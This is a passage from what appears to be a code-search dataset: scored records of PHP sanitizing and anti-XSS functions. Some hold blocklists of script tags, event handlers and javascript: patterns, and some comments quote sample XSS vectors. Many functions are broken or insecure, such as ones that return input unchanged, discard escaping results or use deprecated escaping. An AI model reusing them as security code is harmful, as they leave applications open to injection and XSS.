"score": "0.78252405", "text": "function sanitize($input){\n\t\tglobal $conn;\n\t\treturn $conn->real_escape_string(htmlspecialchars(stripslashes(trim($input))));\n\t}", "title": "" }, { "docid": "78fa31338c39a4e6a7c69dd6017741a1", "score": "0.78170985", "text": "public function sanitizeInput($input){\n htmlspecialchars($input);\n htmlspecialchars($input);\n stripslashes($input);\n trim($input);\n \n return $input;\n }", "title": "" }, { "docid": "dd7b479144622a80499fbf546bcee191", "score": "0.77457297", "text": "abstract protected function validateAndSanitize();", "title": "" }, { "docid": "7c9b750f2f97896196293ab7b5e50729", "score": "0.7697874", "text": "function sanitize($in) {\n\treturn addslashes(htmlspecialchars(strip_tags(trim($in))));\n}", "title": "" }, { "docid": "21974698d8be2616dcf8767722d1a9cb", "score": "0.765442", "text": "function security($input)\n{\n @$input = mysql_real_escape_string($input);\n @$input = strip_tags($input);\n @$input = stripslashes($input);\n return $input;\n}", "title": "" }, { "docid": "0aac8ab3828f3902ecaa4d9d8c9f3af2", "score": "0.7647659", "text": "function html_xss_clean($text)\n{\n return htmlspecialchars($text);\n}", "title": "" }, { "docid": "26646674738e4cd7a1770d9cc215f7f6", "score": "0.76294017", "text": "function sanitize($input){\n \n\n // $input = htmlentities($input); // convert symbols to html entities\n // $input = addslashes($input); // server doesn't add slashes, so we will add them to escape ',\",\\,NULL\n $input = mysql_real_escape_string($input); // escapes \\x00, \\n, \\r, \\, ', \" and \\x1a\n return $input;\n \n}", "title": "" }, { "docid": "7b53386ed8c5d65c1fdc1c28d6a9e5ed", "score": "0.7613706", "text": "function sanitize_input($data) {\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n}", "title": "" }, { "docid": "b5836321d3163aa142d89125362c98bc", "score": "0.75857264", "text": "function Sanitize($input)\r\n{\r\n // acts as a failsafe for type mismatch --OPTIONAL--\r\n if (empty($input) or (!isset($input))) return FALSE; \r\n //return result\r\n return str_replace(\" \", \"\", strip_tags($input));\r\n}", "title": "" }, { "docid": "1788309bb21cbf42bdbbe3fda5cd0128", "score": "0.75746644", "text": "function sanitize_input($data)\r\n {\r\n $data = trim($data);\r\n $data = stripslashes($data);\r\n $data = htmlspecialchars($data);\r\n return $data;\r\n }", "title": "" }, { "docid": "f60f8c78161fc8ceaac228eef8b9bfd8", "score": "0.7566513", "text": "function moesia_no_sanitize( $input ) {\n}", "title": "" }, { "docid": "9b6d922245a9dfbe6f3b024ccc9ee9c3", "score": "0.7564178", "text": "function sanitize( $data ){ return $data; }", "title": "" }, { "docid": "761e7c7d584d4fb9294249a2d7200fad", "score": "0.75057375", "text": "function clean_input($input) {\n return trim(htmlspecialchars($input));\n }", "title": "" }, { "docid": "8ca4b971598ba5ce7b9171b4946862d1", "score": "0.74882966", "text": "public function sanitize($value);", "title": "" }, { "docid": "8ca4b971598ba5ce7b9171b4946862d1", "score": "0.74882966", "text": "public function sanitize($value);", "title": "" }, { "docid": "75790fe46c73c2637fff1af2ae8cddf3", "score": "0.7485248", "text": "function _xss_clean($val, $process) {\n\t\treturn $val;\n\t}", "title": "" }, { "docid": "e5c235ee15cf6ce095317f19bdb370b4", "score": "0.74667776", "text": "static public function sanitizeInput($input) {\n $trimmed = trim($input);\n $squote = str_replace(\"'\", \"&rsquo;\", $trimmed);\n $dquote = str_replace(\"\\\"\", \"\", $squote);\n\n if (is_numeric($dquote)) {\n $sanitized = filter_var($trimmed, FILTER_SANITIZE_NUMBER_INT);\n } else {\n $html_encoded = htmlspecialchars($dquote);\n $strip = stripslashes($html_encoded);\n $sanitized = filter_var($strip, FILTER_SANITIZE_STRING);\n }\n\n return $sanitized;\n }", "title": "" }, { "docid": "6e74cde0cfe7478d59b8bcd8a1cf4f57", "score": "0.74564093", "text": "function sanitize($input) {\n\t\t\tif (is_array($input)) {\n\n\t// check each array value\n\t\t\t foreach($input as $var=>$val) {\n\t\t\t\t\t$output[$var] = sanitize($val);\n\t\t\t }\n\n\t// otherwise..\n\t\t\t}else{\n\t\t\t if (get_magic_quotes_gpc()) {\n\n\t// strip out back slashes\n\t\t\t\t\t$input = stripslashes($input);\n\t\t\t }\n\n\t// pass the string to the CLEANINPUT function for further processing\n\t\t\t $input = cleanInput($input);\n\n\t// escapes special characters contained in the string such as ' or \\\n\t\t\t $output = mysql_real_escape_string($input);\n\t\t }\n\n\t// in case some muppet tries to add in SQL code it truncates the submitted string at the first semi-colon\n\t\t $output = preg_replace('/\\;.*/', '', $output);\n\t\t $output = preg_replace('/=.*/', '', $output);\n\n\t\t\treturn $output;\n\t }", "title": "" }, { "docid": "2cf8d79060c8739e75b0d2cc129f930e", "score": "0.7455297", "text": "public function sanitizeInput()\n {\n $input = $this->all();\n \n $input['comment'] = filter_var($input['comment'], FILTER_SANITIZE_STRING);\n\n $this->replace($input);\n }", "title": "" }, { "docid": "2b53adc91b3ca697ad6acef17cb6cf9b", "score": "0.74527514", "text": "function secureInput($input)\n {\n\n // check if array has been given\n if (is_array($input)) {\n return $input;\n }\n\n return $this->escapeString(trim(strip_tags(addslashes($input))));\n }", "title": "" }, { "docid": "87fbfb904dd51edd72f696e60fbf4bf4", "score": "0.74409854", "text": "function secure_input($data) {\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n}", "title": "" }, { "docid": "fc63498972e26f3f0d001c0a93f05bc5", "score": "0.74162936", "text": "function clean_input( $data )\n{\n $data = trim( $data );\n $data = stripslashes( $data );\n $data = htmlspecialchars( $data );\n \n return $data;\n}", "title": "" }, { "docid": "64693dccb7d01d68a1e19fc9bed0e753", "score": "0.7387132", "text": "function cleanse_input($data) {\n $data = trim($data);\n $data = stripslashes($data);\n $data = strip_tags($data);\n $data = htmlspecialchars($data);\n return $data;\n }", "title": "" }, { "docid": "200610110bfae015eb74df1b2182392f", "score": "0.73603225", "text": "private function remove_xss($data)\n\t{\n\t\t// http://svn.bitflux.ch/repos/public/popoon/trunk/classes/externalinput.php\n\t\t// +----------------------------------------------------------------------+\n\t\t// | Copyright (c) 2001-2006 Bitflux GmbH |\n\t\t// +----------------------------------------------------------------------+\n\t\t// | Licensed under the Apache License, Version 2.0 (the \"License\"); |\n\t\t// | you may not use this file except in compliance with the License. |\n\t\t// | You may obtain a copy of the License at |\n\t\t// | http://www.apache.org/licenses/LICENSE-2.0 |\n\t\t// | Unless required by applicable law or agreed to in writing, software |\n\t\t// | distributed under the License is distributed on an \"AS IS\" BASIS, |\n\t\t// | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or |\n\t\t// | implied. See the License for the specific language governing |\n\t\t// | permissions and limitations under the License. |\n\t\t// +----------------------------------------------------------------------+\n\t\t// | Author: Christian Stocker <chregu@bitflux.ch> |\n\t\t// +----------------------------------------------------------------------+\n\t\t//\n\t\t// Kohana Modifications:\n\t\t// * Changed double quotes to single quotes, changed indenting and spacing\n\t\t// * Removed magic_quotes stuff\n\t\t// * Increased regex readability:\n\t\t// * Used delimeters that aren't found in the pattern\n\t\t// * Removed all unneeded escapes\n\t\t// * Deleted U modifiers and swapped greediness where needed\n\t\t// * Increased regex speed:\n\t\t// * Made capturing parentheses non-capturing where possible\n\t\t// * Removed parentheses where possible\n\t\t// * Split up alternation alternatives\n\t\t// * Made some quantifiers possessive\n\n\t\t// Fix &entity\\n;\n\t\t$data = str_replace(array('&amp;','&lt;','&gt;'), array('&amp;amp;','&amp;lt;','&amp;gt;'), $data);\n\t\t$data = preg_replace('/(&#*\\w+)[\\x00-\\x20]+;/u', '$1;', $data);\n\t\t$data = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $data);\n\t\t$data = html_entity_decode($data, ENT_COMPAT, 'UTF-8');\n\n\t\t// Remove any attribute starting with \"on\" or xmlns\n\t\t$data = preg_replace('#(<[^>]+?[\\x00-\\x20\"\\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data);\n\n\t\t// Remove javascript: and vbscript: protocols\n\t\t$data = preg_replace('#([a-z]*)[\\x00-\\x20]*=[\\x00-\\x20]*([`\\'\"]*)[\\x00-\\x20]*j[\\x00-\\x20]*a[\\x00-\\x20]*v[\\x00-\\x20]*a[\\x00-\\x20]*s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:#iu', '$1=$2nojavascript...', $data);\n\t\t$data = preg_replace('#([a-z]*)[\\x00-\\x20]*=([\\'\"]*)[\\x00-\\x20]*v[\\x00-\\x20]*b[\\x00-\\x20]*s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:#iu', '$1=$2novbscript...', $data);\n\t\t$data = preg_replace('#([a-z]*)[\\x00-\\x20]*=([\\'\"]*)[\\x00-\\x20]*-moz-binding[\\x00-\\x20]*:#u', '$1=$2nomozbinding...', $data);\n\n\t\t// Only works in IE: <span style=\"width: expression(alert('Ping!'));\"></span>\n\t\t$data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'\"]*.*?expression[\\x00-\\x20]*\\([^>]*+>#i', '$1>', $data);\n\t\t$data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'\"]*.*?behaviour[\\x00-\\x20]*\\([^>]*+>#i', '$1>', $data);\n\t\t$data = preg_replace('#(<[^>]+?)style[\\x00-\\x20]*=[\\x00-\\x20]*[`\\'\"]*.*?s[\\x00-\\x20]*c[\\x00-\\x20]*r[\\x00-\\x20]*i[\\x00-\\x20]*p[\\x00-\\x20]*t[\\x00-\\x20]*:*[^>]*+>#iu', '$1>', $data);\n\n\t\t// Remove namespaced elements (we do not need them)\n\t\t$data = preg_replace('#</*\\w+:\\w[^>]*+>#i', '', $data);\n\n\t\tdo\n\t\t{\n\t\t\t// Remove really unwanted tags\n\t\t\t$old_data = $data;\n\t\t\t$data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data);\n\t\t}\n\t\twhile ($old_data !== $data);\n\t\t\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "0df1fb7be9c0f670b0f39ec0e1ad62ad", "score": "0.7354978", "text": "function prepareInput($inputData){\n\t$inputData = trim($inputData);\n\t// Removes any special characters that are not allowed in the input\n\n \t$inputData = htmlspecialchars($inputData);\n\n \treturn $inputData;\n}", "title": "" }, { "docid": "47bc46665f7ed3da83d9db96be143979", "score": "0.7351601", "text": "function filterInput($input, $sql = FALSE)\n{\n\t$input = strip_tags($input);\n\tif(get_magic_quotes_gpc())\n\t{\n\t\t$input = stripslashes($input); \n\t}\n\tif ($sql)\n\t{\n\t\t$input = mysql_real_escape_string($input);\n\t} \n \n\treturn $input;\n}", "title": "" }, { "docid": "7441d61ac538ebe23fd2fb54c593f9db", "score": "0.73483926", "text": "function anti_injection($data){\r\n $filter = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\r\n return $filter;\r\n}", "title": "" }, { "docid": "63c96c5d8f0340cce7c7fca8f54c1275", "score": "0.7347948", "text": "static private function sanitizeInput($string) {\n\n\t\treturn htmlentities($string);\n\t}", "title": "" }, { "docid": "ba32ae3270857501be23e3fbd68a7f09", "score": "0.73448986", "text": "function anti_injection($data){\n\t$filter = stripcslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\n\treturn $filter;\n}", "title": "" }, { "docid": "a28c18f37bbe8d5f84d0713a5aafa9d0", "score": "0.73445445", "text": "function cleanInput($data){ //sanitize data \n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n }", "title": "" }, { "docid": "023c6d451f728ff262be8ab2e5099e0c", "score": "0.73442924", "text": "function sanitizeString($var) //sanitizing input\r\n{\r\n\tif (get_magic_quotes_gpc())\r\n\t\t$var = stripslashes($var);\r\n\t$var = htmlentities($var);\r\n\t$var = strip_tags($var);\r\n\treturn $var;\r\n}", "title": "" }, { "docid": "be37d42afc310a649a857897da8726e0", "score": "0.7336457", "text": "function sanitize($data) {\n if (is_array($data)) {\n $areturn = array();\n foreach ($data as $skey => $svalue) {\n $areturn[$skey] = sanitize($svalue);\n }\n return $areturn;\n } else {\n if (!is_numeric($data)) {\n //with magic quotes on, the input gets escaped twice, we want to avoid this.\n if (get_magic_quotes_gpc()) { //gets current configuration setting of magic quotes\n $data = stripslashes($data);\n }\n //escapes a string for insertion into the database\n $data = strip_tags($data); //strips HTML and PHP tags from a string\n\n $data = preg_replace('/[^-a-zA-Z0-9_]/', '', $data);\n\n $data = preg_replace('#]*>.*?#is', '', $data); // strips javascript\n\n $data = preg_replace(\"/<object[0-9 a-z_?*=\\\":\\-\\/\\.#\\,\\\\n\\\\r\\\\t]+/smi\", \"\", $data); // strips flash\n\n $data = addslashes($data);\n }\n\n $data = trim($data); //trims whitespace from beginning and end of a string\n\n return $data;\n }\n}", "title": "" }, { "docid": "2c015697720051f58081a3a7cfeca4c9", "score": "0.73170316", "text": "public function sanitize()\n {\n $input = $this->all();\n\n $input['placeName'] = filter_var($input['placeName'], FILTER_SANITIZE_STRING);\n $input['street'] = filter_var($input['street'], FILTER_SANITIZE_STRING);\n $input['city'] = filter_var($input['city'], FILTER_SANITIZE_STRING);\n $input['zip'] = filter_var($input['zip'], FILTER_SANITIZE_STRING);\n\n $this->replace($input);\n }", "title": "" }, { "docid": "bf72e5e647cf2f85649bc36fd0460726", "score": "0.73111653", "text": "function cleanInput($input){\n\n $input = strip_tags($input);\n $input = trim($input);\n $input = str_replace(\"'\", \"''\", $input);\n\n return $input;\n }", "title": "" }, { "docid": "95ed1c51fb2d4a1db3f0da860fd24488", "score": "0.7301583", "text": "function sanitize_form_string($in)\n\t {\n\t \treturn strip_tags($in);\n\t }", "title": "" }, { "docid": "aac318171f3d1afdbec5b4fc631f1d5f", "score": "0.7300145", "text": "function anti_injection($data){\n $filter = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\n return $filter;\n}", "title": "" }, { "docid": "7cab4bf4b8aa9b2c062739a9e3dfb050", "score": "0.7296245", "text": "function filter_xss_admin($string) {\n return filter_xss($string, array('a', 'abbr', 'acronym', 'address', 'article', 'aside', 'b', 'bdi', 'bdo', 'big', 'blockquote', 'br', 'caption', 'cite', 'code', 'col', 'colgroup', 'command', 'dd', 'del', 'details', 'dfn', 'div', 'dl', 'dt', 'em', 'figcaption', 'figure', 'footer', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'header', 'hgroup', 'hr', 'i', 'img', 'ins', 'kbd', 'li', 'mark', 'menu', 'meter', 'nav', 'ol', 'output', 'p', 'pre', 'progress', 'q', 'rp', 'rt', 'ruby', 's', 'samp', 'section', 'small', 'span', 'strong', 'sub', 'summary', 'sup', 'table', 'tbody', 'td', 'tfoot', 'th', 'thead', 'time', 'tr', 'tt', 'u', 'ul', 'var', 'wbr'));\n}", "title": "" }, { "docid": "985e3ab8d40fe0decb4f5404f9d84f2a", "score": "0.7268563", "text": "function remove_xss($val) {\n\t\t// this prevents some character re-spacing such as <java\\0script>\n\t\t// note that you have to handle splits with \\n, \\r, and \\t later since they *are* allowed in some inputs\n\t\t$val = preg_replace('/([\\x00-\\x08,\\x0b-\\x0c,\\x0e-\\x19])/', '', $val);\n\t\t// straight replacements, the user should never need these since they're normal characters\n\t\t// this prevents like <IMG SRC=@avascript:alert('XSS')>\n\t\t$search = 'abcdefghijklmnopqrstuvwxyz';\n\t\t$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';\n\t\t$search .= '1234567890!@#$%^&*()';\n\t\t$search .= '~`\";:?+/={}[]-_|\\'\\\\';\n\t\tfor ($i = 0; $i < strlen($search); $i++) {\n\t\t\t// ;? matches the ;, which is optional\n\t\t\t// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars\n\t\t\t// @ @ search for the hex values\n\t\t\t$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;\n\t\t\t// @ @ 0{0,7} matches '0' zero to seven times\n\t\t\t$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;\n\t\t}\n\t\t// now the only remaining whitespace attacks are \\t, \\n, and \\r\n\t\t$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');\n\t\t$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');\n\t\t$ra = array_merge($ra1, $ra2);\n\t\t$found = true; // keep replacing as long as the previous round replaced something\n\t\twhile ($found == true) {\n\t\t\t$val_before = $val;\n\t\t\tfor ($i = 0; $i < sizeof($ra); $i++) {\n\t\t\t\t$pattern = '/';\n\t\t\t\tfor ($j = 0; $j < strlen($ra[$i]); $j++) {\n\t\t\t\t\tif ($j > 0) {\n\t\t\t\t\t\t$pattern .= '(';\n\t\t\t\t\t\t$pattern .= '(&#[xX]0{0,8}([9ab]);)';\n\t\t\t\t\t\t$pattern .= '|';\n\t\t\t\t\t\t$pattern .= '|(&#0{0,8}([9|10|13]);)';\n\t\t\t\t\t\t$pattern .= ')*';\n\t\t\t\t\t}\n\t\t\t\t\t$pattern .= $ra[$i][$j];\n\t\t\t\t}\n\t\t\t\t$pattern .= '/i';\n\t\t\t\t$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag\n\t\t\t\t$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags\n\t\t\t\tif ($val_before == $val) {\n\t\t\t\t// no replacements were made, so exit the loop\n\t\t\t\t$found = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $val;\n\t}", "title": "" }, { "docid": "fbb72aa1787c849c5a8cb645f5109cb3", "score": "0.7266747", "text": "function filterinput($conn,$data){\n //removes spaces at the beginning and\n //at the end of the string\n $data=trim($data);\n\n //remove against bars:\n // \"water snake\" becomes \"water snake\"\n $data= stripslashes($data);\n $data=htmlspecialchars($data);\n \n //Remove characters a hacker might have \n //entered to hack or alter database\n $data=$conn->real_escape_string($data);\n\n return $data;\n }", "title": "" }, { "docid": "1b6f61d263b88cd73d4d1fd5e4a26136", "score": "0.72610766", "text": "function filter_xss($string, $allowed_tags = array('a', 'em', 'strong', 'cite', 'blockquote', 'code', 'ul', 'ol', 'li', 'dl', 'dt', 'dd')) {\n // Only operate on valid UTF-8 strings. This is necessary to prevent cross\n // site scripting issues on Internet Explorer 6.\n if (!drupal_validate_utf8($string)) {\n return '';\n }\n // Store the text format.\n _filter_xss_split($allowed_tags, TRUE);\n // Remove NULL characters (ignored by some browsers).\n $string = str_replace(chr(0), '', $string);\n // Remove Netscape 4 JS entities.\n $string = preg_replace('%&\\s*\\{[^}]*(\\}\\s*;?|$)%', '', $string);\n\n // Defuse all HTML entities.\n $string = str_replace('&', '&amp;', $string);\n // Change back only well-formed entities in our whitelist:\n // Decimal numeric entities.\n $string = preg_replace('/&amp;#([0-9]+;)/', '&#\\1', $string);\n // Hexadecimal numeric entities.\n $string = preg_replace('/&amp;#[Xx]0*((?:[0-9A-Fa-f]{2})+;)/', '&#x\\1', $string);\n // Named entities.\n $string = preg_replace('/&amp;([A-Za-z][A-Za-z0-9]*;)/', '&\\1', $string);\n\n return preg_replace_callback('%\n (\n <(?=[^a-zA-Z!/]) # a lone <\n | # or\n <!--.*?--> # a comment\n | # or\n <[^>]*(>|$) # a string that starts with a <, up until the > or the end of the string\n | # or\n > # just a >\n )%x', '_filter_xss_split', $string);\n}", "title": "" }, { "docid": "113d050859c0dea1dd24068b534dab75", "score": "0.7260471", "text": "function clean_input($data){\r\n\t\t$data = trim($data);\r\n\t\t$data = stripslashes($data);\r\n\t\t$data = htmlspecialchars($data);\r\n\t\treturn $data;\t\r\n\t}", "title": "" }, { "docid": "44754a9bed81f8c79321c4212f5b4ff7", "score": "0.72434896", "text": "function safisha($data){\n $data=trim($data);\n $data=stripslashes($data);\n $data=htmlspecialchars($data);\n return $data;\n}", "title": "" }, { "docid": "8fa8aa2558b7f7add282e9f483728251", "score": "0.72326607", "text": "function cleanInput($input)\t{\r\n\t\t$input = trim($input);\r\n\t\t//input = \"xd\"\r\n\t\t\r\n\t\t//v6tab v2lja \\\r\n\t\t$input = stripslashes($input);\r\n\t\t\r\n\t\t//html asendab, nt \"<\" saab \"&lt;\"\r\n\t\t$input = htmlspecialchars($input);\r\n\t\t\r\n\t\treturn $input;\r\n\t\t\r\n\t}", "title": "" }, { "docid": "b55f967a45a5767a07667781aa362595", "score": "0.72322494", "text": "function sanitize($string) {\n return strip_tags(htmlspecialchars($string));\n}", "title": "" }, { "docid": "2e64a928e3c6e41a34ff3a90b6d4bd5a", "score": "0.7229918", "text": "function sanitize($text) \n{ \n\t$text = str_replace(\"<\", \"&lt;\", $text); \n\t$text = str_replace(\">\", \"&gt;\", $text); \n\t$text = str_replace(\"\\\"\", \"&quot;\", $text); \n\t$text = str_replace(\"'\", \"&#039;\", $text); \n\t$text = addslashes($text); \n\t\n\treturn $text; \n}", "title": "" }, { "docid": "bff5fc8b4bdfa7e12780892aa26ae110", "score": "0.72243226", "text": "function remove_xss($val) {\r\n\t// this prevents some character re-spacing such as <java\\0script>\r\n\t// note that you have to handle splits with \\n, \\r, and \\t later since they *are* allowed in some inputs\r\n\t$val = preg_replace ( '/([\\x00-\\x08,\\x0b-\\x0c,\\x0e-\\x19])/', '', $val );\r\n\t\r\n\t// straight replacements, the user should never need these since they're normal characters\r\n\t// this prevents like <IMG SRC=@avascript:alert('XSS')>\r\n\t$search = 'abcdefghijklmnopqrstuvwxyz';\r\n\t$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';\r\n\t$search .= '1234567890!@#$%^&*()';\r\n\t$search .= '~`\";:?+/={}[]-_|\\'\\\\';\r\n\tfor($i = 0; $i < strlen ( $search ); $i ++) {\r\n\t\t// ;? matches the ;, which is optional\r\n\t\t// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars\r\n\t\t\r\n\r\n\t\t// @ @ search for the hex values\r\n\t\t$val = preg_replace ( '/(&#[xX]0{0,8}' . dechex ( ord ( $search [$i] ) ) . ';?)/i', $search [$i], $val ); // with a ;\r\n\t\t// @ @ 0{0,7} matches '0' zero to seven times\r\n\t\t$val = preg_replace ( '/(&#0{0,8}' . ord ( $search [$i] ) . ';?)/', $search [$i], $val ); // with a ;\r\n\t}\r\n\t\r\n\t// now the only remaining whitespace attacks are \\t, \\n, and \\r\r\n\t$ra1 = array ('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base' );\r\n\t$ra2 = array ('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload' );\r\n\t$ra = array_merge ( $ra1, $ra2 );\r\n\t\r\n\t$found = true; // keep replacing as long as the previous round replaced something\r\n\twhile ( $found == true ) {\r\n\t\t$val_before = $val;\r\n\t\tfor($i = 0; $i < sizeof ( $ra ); $i ++) {\r\n\t\t\t$pattern = '/';\r\n\t\t\tfor($j = 0; $j < strlen ( $ra [$i] ); $j ++) {\r\n\t\t\t\tif ($j > 0) {\r\n\t\t\t\t\t$pattern .= '(';\r\n\t\t\t\t\t$pattern .= '(&#[xX]0{0,8}([9ab]);)';\r\n\t\t\t\t\t$pattern .= '|';\r\n\t\t\t\t\t$pattern .= '|(&#0{0,8}([9|10|13]);)';\r\n\t\t\t\t\t$pattern .= ')*';\r\n\t\t\t\t}\r\n\t\t\t\t$pattern .= $ra [$i] [$j];\r\n\t\t\t}\r\n\t\t\t$pattern .= '/i';\r\n\t\t\t$replacement = substr ( $ra [$i], 0, 2 ) . '<x>' . substr ( $ra [$i], 2 ); // add in <> to nerf the tag\r\n\t\t\t$val = preg_replace ( $pattern, $replacement, $val ); // filter out the hex tags\r\n\t\t\tif ($val_before == $val) {\r\n\t\t\t\t// no replacements were made, so exit the loop\r\n\t\t\t\t$found = false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $val;\r\n}", "title": "" }, { "docid": "f89053be8e7010bd017650fca680a25e", "score": "0.7223177", "text": "function sanitze(&$value) {\n //Add or remove filtering as you like\n $value = htmlspecialchars($value);\n $value = stripslashes($value);\n //$value = mysql_real_escape_string($value);\n}", "title": "" }, { "docid": "f3ceae0b1e5be9c30bd64f7865c0f442", "score": "0.7220621", "text": "function cleanInput($data) {\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n}", "title": "" }, { "docid": "afc6bff451f8f48a227305c827f7e979", "score": "0.72162", "text": "public function sanitize(array &$input): void\n {\n foreach ($input as $k => $v) {\n $filteredV = strip_tags($v);\n $filteredV = filter_var($v, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);\n /* more filters here */\n /* */\n $input[$k] = $filteredV;\n }\n }", "title": "" }, { "docid": "324e73e775d8d580c535e593c51f5a4b", "score": "0.7200131", "text": "function clean_input($data){\r\n\t\t\t\t\t$data = trim($data);\r\n\t\t\t\t\t$data = stripslashes($data);\r\n\t\t\t\t\t$data = htmlspecialchars($data);\r\n\t\t\t\t\treturn $data;\t\r\n\t\t\t\t}", "title": "" }, { "docid": "238b67198f655da6155e29077998975f", "score": "0.71805763", "text": "function cleanInput($data) {\n\n\treturn htmlspecialchars(stripslashes(trim($data)));\n}", "title": "" }, { "docid": "bbeeb2862c560df4ade01535bbfd164e", "score": "0.71792203", "text": "function checkInput($data)\n{\n $data = trim($data);\n $data = stripcslashes($data);\n $data = strip_tags($data);\n $data = htmlspecialchars($data);\n return $data;\n}", "title": "" }, { "docid": "2f185746815b71bccae3f44ccb3cc241", "score": "0.7179106", "text": "function anti_injection($data){\n\t\t\t\t\t\t\t$filter = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\n\t\t\t\t\t\t\treturn $filter;\n\t\t\t\t\t\t}", "title": "" }, { "docid": "52758de2ebdac435d6522144316638e3", "score": "0.7176929", "text": "function cleanInput($input) {\n\t\t$search = array(\n\t\t '@<script[^>]*?>.*?</script>@si', // Strip out javascript\n\t\t '@<[\\/\\!]*?[^<>]*?>@si', // Strip out HTML tags\n\t\t '@<style[^>]*?>.*?</style>@siU', // Strip style tags properly\n\t\t '@<![\\s\\S]*?--[ \\t\\n\\r]*>@' // Strip multi-line comments\n\t\t);\n\n\t// check the string for matches above\n\t\t\t$output = preg_replace($search, '', $input);\n\n\t// pass the resulting string back to the SANITIZE function\n\t\t\treturn $output;\n\t\t}", "title": "" }, { "docid": "85d2b0903266990e59c3345de99ac1e5", "score": "0.7174571", "text": "function filterInput($data) {\n $data = trim($data);\n $data = stripslashes($data);\n $data = htmlspecialchars($data);\n return $data;\n \n }", "title": "" }, { "docid": "85f0ca84ca232433cf2dcc8ab1d36f9b", "score": "0.7167408", "text": "function migla_trim_sql_xss( $string ){\n $safeout = str_replace(\"'\",\" \", $string );\n $safeout = htmlspecialchars( $safeout );\n $safeout = 